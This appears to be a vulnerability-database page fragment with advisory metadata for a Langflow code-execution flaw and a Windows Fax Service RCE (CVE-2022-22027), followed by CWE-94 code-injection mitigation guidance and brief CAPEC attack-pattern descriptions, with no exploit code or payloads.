"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L441-L443"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L394-L399"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/lfx/src/lfx/custom/validate.py#L241-L272"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/services/auth/utils.py#L39-L53"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/services/auth/utils.py#L156-L163"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/api/v1/login.py#L96-L135"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/api/utils/core.py#L38"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L58-L79"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L259-L300"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L142-L156"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/validation.py#L27-L47"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/code_extraction.py#L11-L53"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/schemas.py#L20-L31"
},
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/router.py#L252-L297"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Langflow has Authenticated Code Execution in Agentic Assistant Validation"
}
GHSA-V8QW-P8WF-QX5H
Vulnerability from github – Published: 2022-07-13 00:00 – Updated: 2022-07-13 00:00Windows Fax Service Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-22024.
{
"affected": [],
"aliases": [
"CVE-2022-22027"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-12T23:15:00Z",
"severity": "HIGH"
},
"details": "Windows Fax Service Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-22024.",
"id": "GHSA-v8qw-p8wf-qx5h",
"modified": "2022-07-13T00:00:40Z",
"published": "2022-07-13T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22027"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22027"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-22027"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.